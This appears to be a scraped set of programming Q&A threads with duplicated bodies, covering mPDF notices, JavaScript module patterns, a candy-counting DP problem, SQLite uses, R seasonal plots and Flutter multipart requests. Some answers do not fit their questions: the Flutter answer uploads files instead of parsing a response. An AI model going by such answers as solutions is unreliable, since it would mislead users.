ERROR - 2012-11-10 04:45:50 --> Severity: Notice  --> Undefined index: ID>>PRINT_WRAPPER C:\wamp\www\crm\application\libraries\mpdf.php 14280
ERROR - 2012-11-10 04:45:50 --> Severity: Notice  --> Undefined index: DIV>>CLASS>>PRINTWRAPPER C:\wamp\www\crm\application\libraries\mpdf.php 14284
ERROR - 2012-11-10 04:45:50 --> Severity: Notice  --> Undefined index: DIV>>ID>>PRINT_WRAPPER C:\wamp\www\crm\application\libraries\mpdf.php 14288
ERROR - 2012-11-10 04:45:50 --> Severity: Notice  --> Undefined index: DIV C:\wamp\www\crm\application\libraries\mpdf.php 14242
</code>```

anybody have some working experience with this library ? (If it only outputs some errors then we can fix it by changing on the library , but here it gives too much error) , i think that i am missing something.

Please help me.

Thanks.

答:
You can check for none printable character with this tool:

https://www.soscisurvey.de/tools/view-chars.php

This solved my problem.

Title: MPDF undefined index error

Body:
I am using MPDF library to convert HTML to PDF.

Here is my code.

$HTML = '{HTML CONTENT GOES HERE}'; //HTML STRING

$MPDF->WriteHTML($html); // Converting

$MPDF->Output('preview.pdf','F'); //Saving to a File

It works , but generating too much errors in error log ,

ERROR - 2012-11-10 04:45:50 --> Severity: Notice  --> Undefined index: BODY C:\wamp\www\crm\application\libraries\mpdf.php 14242
ERROR - 2012-11-10 04:45:50 --> Severity: Notice  --> Undefined index: BODY>>ID>> C:\wamp\www\crm\application\libraries\mpdf.php 14288
ERROR - 2012-11-10 04:45:50 --> Severity: Notice  --> Undefined offset: -1 C:\wamp\www\crm\application\libraries\mpdf.php 14421
ERROR - 2012-11-10 04:45:50 --> Severity: Notice  --> Undefined variable: cstr C:\wamp\www\crm\application\libraries\mpdf.php 31951
ERROR - 2012-11-10 04:45:50 --> Severity: Notice  --> Undefined index: DIV C:\wamp\www\crm\application\libraries\mpdf.php 14242
ERROR - 2012-11-10 04:45:50 --> Severity: Notice  --> Undefined index: ID>>PRINT_WRAPPER C:\wamp\www\crm\application\libraries\mpdf.php 14280
ERROR - 2012-11-10 04:45:50 --> Severity: Notice  --> Undefined index: DIV>>CLASS>>PRINTWRAPPER C:\wamp\www\crm\application\libraries\mpdf.php 14284
ERROR - 2012-11-10 04:45:50 --> Severity: Notice  --> Undefined index: DIV>>ID>>PRINT_WRAPPER C:\wamp\www\crm\application\libraries\mpdf.php 14288
ERROR - 2012-11-10 04:45:50 --> Severity: Notice  --> Undefined index: DIV C:\wamp\www\crm\application\libraries\mpdf.php 14242

anybody have some working experience with this library ? (If it only outputs some errors then we can fix it by changing on the library , but here it gives too much error) , i think that i am missing something.

Please help me.

Thanks.


问:
Can revealing module pattern be done without IIFE like this and serve same purpose?
My understanding of revealing module pattern is as follows:

CODE #1

```<code>const iifeModulePattern = (function () {
  const secretSeed = 999; // ← private
  const logSecretCode = function(){console.log(secretSeed+1)};
  return {methodForPublic : logSecretCode};
})();

iifeModulePattern.methodForPublic();
</code>```

So far I hope I'm not wrong. My question is:

Won't the following Code #2 serve same purpose?

If it does, why is Code #1 popular than Code #2?

If it doesn't, what's the difference?

CODE #2

```<code>const modulePattern = () => {
  const secretSeed = 999; // ← private
  const logSecretCode = function(){console.log(secretSeed+1)};
  return {methodForPublic : logSecretCode};
};

modulePattern().methodForPublic();
</code>```

I won't store "secret" codes (like passwords) in this way. The above codes are just examples.

答:
const iifeModulePattern = (function() {
  let value = 0; // private
  return {
    next: () => (value = 134775813 * value + 1) >>> 0
  };
})();

for (let i = 0; i < 5; ++i) {
  console.log("iifeModulePattern.next()", i, iifeModulePattern.next());
}

console.log("The basic IIFE.");
console.log("");

const modulePattern = () => {
  let value = 0; // private
  return {
    next: () => (value = 134775813 * value + 1) >>> 0
  };
};

for (let i = 0; i < 5; ++i) {
  console.log("modulePattern().next()", i, modulePattern().next());
}
console.log("Kinda pointless this way, ain't it? Everytime, the sequence starts all over.");
console.log("");

const instance1 = modulePattern();
const instance2 = modulePattern();
for (let i = 0; i < 10; ++i) {
  console.log("instance1.next()", i, instance1.next());
  if (i & 1) {
    console.log("instance2.next()", i, instance2.next());
  }
}
console.log("This usage makes more sense.\nAnd the two instances progress independant of each other.");```
<pre class="snippet-code-css lang-css prettyprint-override"><code>.as-console-wrapper {top:0;max-height:100%!important}</code>```

Won't the following Code #2 serve same purpose?

Yes, No, maybe; it depends on how you use it.

If it doesn't, what's the difference?

iifeModulePattern is a singleton, modulePattern() is a factory.

If it does, why is Code #1 popular than Code #2?

What's the purpose of giving the factory a name, store it in a variable if all you'll ever do is to call it once, right here, right now?

Body:
My understanding of revealing module pattern is as follows:

CODE #1

const iifeModulePattern = (function () {
  const secretSeed = 999; // ← private
  const logSecretCode = function(){console.log(secretSeed+1)};
  return {methodForPublic : logSecretCode};
})();

iifeModulePattern.methodForPublic();

So far I hope I'm not wrong. My question is:

Won't the following Code #2 serve same purpose?

If it does, why is Code #1 popular than Code #2?

If it doesn't, what's the difference?

CODE #2

const modulePattern = () => {
  const secretSeed = 999; // ← private
  const logSecretCode = function(){console.log(secretSeed+1)};
  return {methodForPublic : logSecretCode};
};

modulePattern().methodForPublic();

I won't store "secret" codes (like passwords) in this way. The above codes are just examples.

Body:
const iifeModulePattern = (function() {
  let value = 0; // private
  return {
    next: () => (value = 134775813 * value + 1) >>> 0
  };
})();

for (let i = 0; i < 5; ++i) {
  console.log("iifeModulePattern.next()", i, iifeModulePattern.next());
}

console.log("The basic IIFE.");
console.log("");

const modulePattern = () => {
  let value = 0; // private
  return {
    next: () => (value = 134775813 * value + 1) >>> 0
  };
};

for (let i = 0; i < 5; ++i) {
  console.log("modulePattern().next()", i, modulePattern().next());
}
console.log("Kinda pointless this way, ain't it? Everytime, the sequence starts all over.");
console.log("");

const instance1 = modulePattern();
const instance2 = modulePattern();
for (let i = 0; i < 10; ++i) {
  console.log("instance1.next()", i, instance1.next());
  if (i & 1) {
    console.log("instance2.next()", i, instance2.next());
  }
}
console.log("This usage makes more sense.\nAnd the two instances progress independant of each other.");

.as-console-wrapper {top:0;max-height:100%!important}

Won't the following Code #2 serve same purpose?

Yes, No, maybe; it depends on how you use it.

If it doesn't, what's the difference?

iifeModulePattern is a singleton, modulePattern() is a factory.

If it does, why is Code #1 popular than Code #2?

What's the purpose of giving the factory a name, store it in a variable if all you'll ever do is to call it once, right here, right now?


问:
What I am doing wrong here - dynamic problem
PROBLEM STATEMENT:

You are about to go shopping for some candy in a local store. They sell candy for either $1 or $2 pieces. You would like to know in how many unique ways you can purchase candy based on the amount of money you have.

```<code>def buying_candy(amount_of_money):

    if amount_of_money < 2:
        return 1

    dp = {0: 1, 1: 1}
    x = 1
    while x < amount_of_money:
        if x not in dp:
            dp[x] = 1
        dp[x] = dp[x] + dp[x - 1]

        x += 1

    return dp[amount_of_money - 1]
</code>```

print(buying_candy(4))

OUTPUT: 5

EXPLANATION:

```<code>1 + 1 + 1 + 1
2 + 2
2 + 1 + 1
1 + 2 + 1
1 + 1 + 2
</code>```

UPDATE:

SOLUTION of Problem

```<code>def buying_candy(amount_of_money):

    if amount_of_money < 2:
        return 1

    dp = {
        0: 1,
        1: 1
    }
    x = 2
    while x < amount_of_money + 1:
        if x not in dp:
            dp[x] = 1
        dp[x] = dp[x - 1] + dp[x - 2]

        x += 1

    return dp[amount_of_money]
</code>```

答:
This problem does not require dynamic programming. Denote the amount of money by n. There are between 0 and ⌊n/2⌋ twos. If the number of twos is k, then the number of ones is n−2k, and the total number of ones and twos is n-2k+k = n-k. Each solution with k twos corresponds to choosing k out of the n-k positions for the twos. So the total number of solutions with k twos is (n-k choose k), and the total number of solutions is the sum of this expression over k from 0 and ⌊n/2⌋.

In Python:

```<code>import math
n = 4 # amount of money
total = sum(math.comb(n-k,k) for k in range(n//2+1)) # total number of solutions
print(total)
</code>```

If the rules of the game require using dynamic programming, here is a correct version:

```<code>def buying_candies(n):
    if n < 2:
        return 1
    dp = [1, 1] # use list instead of dictionary, as keys are 0,1,2,...
    for i in range(2, n+1):
        dp.append(dp[i-1] + dp[i-2])
    return dp[n]

print(buying_candies(4))
</code>```

It is all just Fibonacci sequence, in fact :)

So there is in fact a closed formula.

Body:
PROBLEM STATEMENT:

You are about to go shopping for some candy in a local store. They sell candy for either $1 or $2 pieces. You would like to know in how many unique ways you can purchase candy based on the amount of money you have.

def buying_candy(amount_of_money):

    if amount_of_money < 2:
        return 1

    dp = {0: 1, 1: 1}
    x = 1
    while x < amount_of_money:
        if x not in dp:
            dp[x] = 1
        dp[x] = dp[x] + dp[x - 1]

        x += 1

    return dp[amount_of_money - 1]

print(buying_candy(4))

OUTPUT: 5

EXPLANATION:

1 + 1 + 1 + 1
2 + 2
2 + 1 + 1
1 + 2 + 1
1 + 1 + 2

UPDATE:

SOLUTION of Problem

def buying_candy(amount_of_money):

    if amount_of_money < 2:
        return 1

    dp = {
        0: 1,
        1: 1
    }
    x = 2
    while x < amount_of_money + 1:
        if x not in dp:
            dp[x] = 1
        dp[x] = dp[x - 1] + dp[x - 2]

        x += 1

    return dp[amount_of_money]

Body:
This problem does not require dynamic programming. Denote the amount of money by n. There are between 0 and ⌊n/2⌋ twos. If the number of twos is k, then the number of ones is n−2k, and the total number of ones and twos is n-2k+k = n-k. Each solution with k twos corresponds to choosing k out of the n-k positions for the twos. So the total number of solutions with k twos is (n-k choose k), and the total number of solutions is the sum of this expression over k from 0 and ⌊n/2⌋.

In Python:

import math
n = 4 # amount of money
total = sum(math.comb(n-k,k) for k in range(n//2+1)) # total number of solutions
print(total)

If the rules of the game require using dynamic programming, here is a correct version:

def buying_candies(n):
    if n < 2:
        return 1
    dp = [1, 1] # use list instead of dictionary, as keys are 0,1,2,...
    for i in range(2, n+1):
        dp.append(dp[i-1] + dp[i-2])
    return dp[n]

print(buying_candies(4))

It is all just Fibonacci sequence, in fact :)

So there is in fact a closed formula.


问:
What is Sqlite used for?
I don't know how authoritative this is but I found this:

http://www.sqlite.org/cvstrac/wiki?p=PerformanceConsiderations

and it doesn't seem good to have a lot of connections to sqlite.  This seems to be bad for the web and most applications that have more than a few users.  I'm having a hard time thinking of what sqlite would be used for when you don't need that many connections.  Every program I can think of needs users, lots of them sometimes, so what would I use a database for that doesn't allow that many connections?  I thought about prototypes but why would I use that when I can just connect to a larger database?  Embedded apps maybe?

Thank you.

EDIT:  Thanks everyone.  I look at the page recommended below but an confused about something:

Under appropriate uses for sqlite it has:

Situations Where SQLite Works Well

•Websites

SQLite usually will work great as the database engine for low to medium traffic websites (which is to say, 99.9% of all websites). The amount of web traffic that SQLite can handle depends, of course, on how heavily the website uses its database. Generally speaking, any site that gets fewer than 100K hits/day should work fine with SQLite. The 100K hits/day figure is a conservative estimate, not a hard upper bound. SQLite has been demonstrated to work with 10 times that amount of traffic.

Situations Where Another RDBMS May Work Better

•Client/Server Applications

If you have many client programs accessing a common database over a network, you should consider using a client/server database engine instead of SQLite. SQLite will work over a network filesystem, but because of the latency associated with most network filesystems, performance will not be great. Also, the file locking logic of many network filesystems implementation contains bugs (on both Unix and Windows). If file locking does not work like it should, it might be possible for two or more client programs to modify the same part of the same database at the same time, resulting in database corruption. Because this problem results from bugs in the underlying filesystem implementation, there is nothing SQLite can do to prevent it.

A good rule of thumb is that you should avoid using SQLite in situations where the same database will be accessed simultaneously from many computers over a network filesystem.

The Question:

I'm going to show my ignorance here but what is the difference between these two?

答: Think about simple client or desktop apps that could make use of a db, like as a poor example, an address book. Rather than bundling a huge db engine like mysql or postgre with your deliverable, sqlite is very lightweight and easy to include with your finished app.</p>

OwnerDisplayName: johnny

ContentLicense: CC BY-SA 2.5

Title: What is Sqlite used for?

LastEditorDisplayName: johnny

OwnerDisplayName: Max


问:
Seasonal plots for multiple variables using forecast::ggseasonplot
I'm trying to draw a seasonal plots for dataframe df, which contains time series data for 2 variables (value1 and value2):

```<code>df <- structure(list(date = structure(c(18292, 18321, 18352, 18382,
18413, 18443, 18474, 18505, 18535, 18566, 18596, 18627, 18658,
18686, 18717, 18747, 18778, 18808, 18839, 18870, 18900, 18931,
18961, 18992), class = "Date"), value1 = c(-2.94, -40.61, -6.89,
3.04, -3.5, 0.18, 6.79, 9.08, 9.35, 10.92, 20.53, 18.04, 24.6,
154.6, 30.4, 32.1, 27.7, 32.1, 19.2, 25.4, 28, 26.9, 21.7, 20.9
), value2 = c(-12.66, 7.56, -1.36, -14.39, -16.18, 3.29, -0.69,
-1.6, 13.47, 4.83, 4.56, 7.58, 28.7, 18.9, 39.1, 44, 52, 37.1,
28.2, 32.7, 17.2, 20.4, 31.4, 19.5)), class = "data.frame", row.names = c(NA,
-24L))
</code>```

We could draw two time series in one plot using:

```<code>meltdf <- melt(df, id='date')
meltdf %>%
  ggplot(aes(x=date, y=value, colour=variable, group=variable)) +
        geom_point() +
        geom_line()
</code>```

Out:

But I hope to use ggseasonplot to draw two plots for value1 and value2 seperately, each one will be similar to the following plot:

```<code>library(forecast)
ggseasonplot(AirPassengers, col=rainbow(12), year.labels=TRUE)
</code>```

The problem I met is how to convert each subset dataframe to ts objects:

```<code>meltdf %>%
  filter(variable=='value1') %>%
  as.ts() %>%
  ggseasonplot(col=rainbow(12), year.labels=TRUE)
</code>```

Thanks.

Update: implement with ggplot2 only:

```<code>meltdf %>%
  filter(variable=='value2') %>%
  select(-variable) %>%
  mutate(
    year = factor(year(date)),     # use year to define separate curves
    date = update(date, year = 1)  # use a constant year for the x-axis
  ) %>%
  ggplot(aes(date, value, color = year)) +
    scale_x_date(date_breaks = "1 month", date_labels = "%b")+
  geom_line()+
  geom_point()
</code>```

答:
This is what the feasts package is for -- handling time series graphics with multiple series in the same data frame. Here is how to do it with the sample data provided.

library(tsibble)
library(feasts)
library(tidyr)
library(dplyr)

# Convert to tsibble object and plot using gg_season()
df %>%
  pivot_longer(value1:value2) %>%
  mutate(date = yearmonth(date)) %>%
  as_tsibble(index = date, key = name) %>%
  gg_season(value)
```

Created on 2022-02-14 by the reprex package (v2.0.1)

See https://otexts.com/fpp3/seasonal-plots.html for more examples.

Body:
I'm trying to draw a seasonal plots for dataframe df, which contains time series data for 2 variables (value1 and value2):

df <- structure(list(date = structure(c(18292, 18321, 18352, 18382,
18413, 18443, 18474, 18505, 18535, 18566, 18596, 18627, 18658,
18686, 18717, 18747, 18778, 18808, 18839, 18870, 18900, 18931,
18961, 18992), class = "Date"), value1 = c(-2.94, -40.61, -6.89,
3.04, -3.5, 0.18, 6.79, 9.08, 9.35, 10.92, 20.53, 18.04, 24.6,
154.6, 30.4, 32.1, 27.7, 32.1, 19.2, 25.4, 28, 26.9, 21.7, 20.9
), value2 = c(-12.66, 7.56, -1.36, -14.39, -16.18, 3.29, -0.69,
-1.6, 13.47, 4.83, 4.56, 7.58, 28.7, 18.9, 39.1, 44, 52, 37.1,
28.2, 32.7, 17.2, 20.4, 31.4, 19.5)), class = "data.frame", row.names = c(NA,
-24L))

We could draw two time series in one plot using:

meltdf <- melt(df, id='date')
meltdf %>%
  ggplot(aes(x=date, y=value, colour=variable, group=variable)) +
        geom_point() +
        geom_line()

Out:

But I hope to use ggseasonplot to draw two plots for value1 and value2 seperately, each one will be similar to the following plot:

library(forecast)
ggseasonplot(AirPassengers, col=rainbow(12), year.labels=TRUE)

The problem I met is how to convert each subset dataframe to ts objects:

meltdf %>%
  filter(variable=='value1') %>%
  as.ts() %>%
  ggseasonplot(col=rainbow(12), year.labels=TRUE)

Thanks.

Update: implement with ggplot2 only:

meltdf %>%
  filter(variable=='value2') %>%
  select(-variable) %>%
  mutate(
    year = factor(year(date)),     # use year to define separate curves
    date = update(date, year = 1)  # use a constant year for the x-axis
  ) %>%
  ggplot(aes(date, value, color = year)) +
    scale_x_date(date_breaks = "1 month", date_labels = "%b")+
  geom_line()+
  geom_point()

Body:
This is what the feasts package is for -- handling time series graphics with multiple series in the same data frame. Here is how to do it with the sample data provided.

library(tsibble)
library(feasts)
library(tidyr)
library(dplyr)

# Convert to tsibble object and plot using gg_season()
df %>%
  pivot_longer(value1:value2) %>%
  mutate(date = yearmonth(date)) %>%
  as_tsibble(index = date, key = name) %>%
  gg_season(value)

Created on 2022-02-14 by the reprex package (v2.0.1)

See https://otexts.com/fpp3/seasonal-plots.html for more examples.


问:
How to parse a binary data collection (list of files) from multipart/form-data http response?
How to parse a multipart/form-data of http response from server, if it contains a list of binary files (images)?

For example:

```<code>  var request = http.MultipartRequest('GET', url);
  var streamedResponse = await request.send();

    if (streamedResponse.statusCode == 200) {
      var response = await http.Response.fromStream(streamedResponse); // it is just a binary data, not a list of files
    }
</code>```

Maybe there is something similar to HttpMultipartParser from .NET in flutter?

答:
Try below solution

```<code>Future uploadmultipleimage(List images) async {
  var uri = Uri.parse("");
  http.MultipartRequest request = new http.MultipartRequest('POST', uri);
  request.headers[''] = '';
  request.fields['user_id'] = '10';
  request.fields['post_details'] = 'dfsfdsfsd';
  //multipartFile = new http.MultipartFile("imagefile", stream, length, filename: basename(imageFile.path));
  List<MultipartFile> newList = new List<MultipartFile>();
  for (int i = 0; i < images.length; i++) {
    File imageFile = File(images[i].toString());
    var stream =
        new http.ByteStream(DelegatingStream.typed(imageFile.openRead()));
    var length = await imageFile.length();
    var multipartFile = new http.MultipartFile("imagefile", stream, length,
        filename: basename(imageFile.path));
    newList.add(multipartFile);
  }
  request.files.addAll(newList);
  var response = await request.send();
  if (response.statusCode == 200) {
    print("Image Uploaded");
  } else {
    print("Upload Failed");
  }
  response.stream.transform(utf8.decoder).listen((value) {
    print(value);
  });
}
</code>```

Body:
How to parse a multipart/form-data of http response from server, if it contains a list of binary files (images)?

For example:

  var request = http.MultipartRequest('GET', url);
  var streamedResponse = await request.send();

    if (streamedResponse.statusCode == 200) {
      var response = await http.Response.fromStream(streamedResponse); // it is just a binary data, not a list of files
    }

Maybe there is something similar to HttpMultipartParser from .NET in flutter?

Body:
Try below solution

Future uploadmultipleimage(List images) async {
  var uri = Uri.parse("");
  http.MultipartRequest request = new http.MultipartRequest('POST', uri);
  request.headers[''] = '';
  request.fields['user_id'] = '10';
  request.fields['post_details'] = 'dfsfdsfsd';
  //multipartFile = new http.MultipartFile("imagefile", stream, length, filename: basename(imageFile.path));
  List<MultipartFile> newList = new List<MultipartFile>();
  for (int i = 0; i < images.length; i++) {
    File imageFile = File(images[i].toString());
    var stream =
        new http.ByteStream(DelegatingStream.typed(imageFile.openRead()));
    var length = await imageFile.length();
    var multipartFile = new http.MultipartFile("imagefile", stream, length,
        filename: basename(imageFile.path));
    newList.add(multipartFile);
  }
  request.files.addAll(newList);
  var response = await request.send();
  if (response.statusCode == 200) {
    print("Image Uploaded");
  } else {
    print("Upload Failed");
  }
  response.stream.transform(utf8.decoder).listen((value) {
    print(value);
  });
}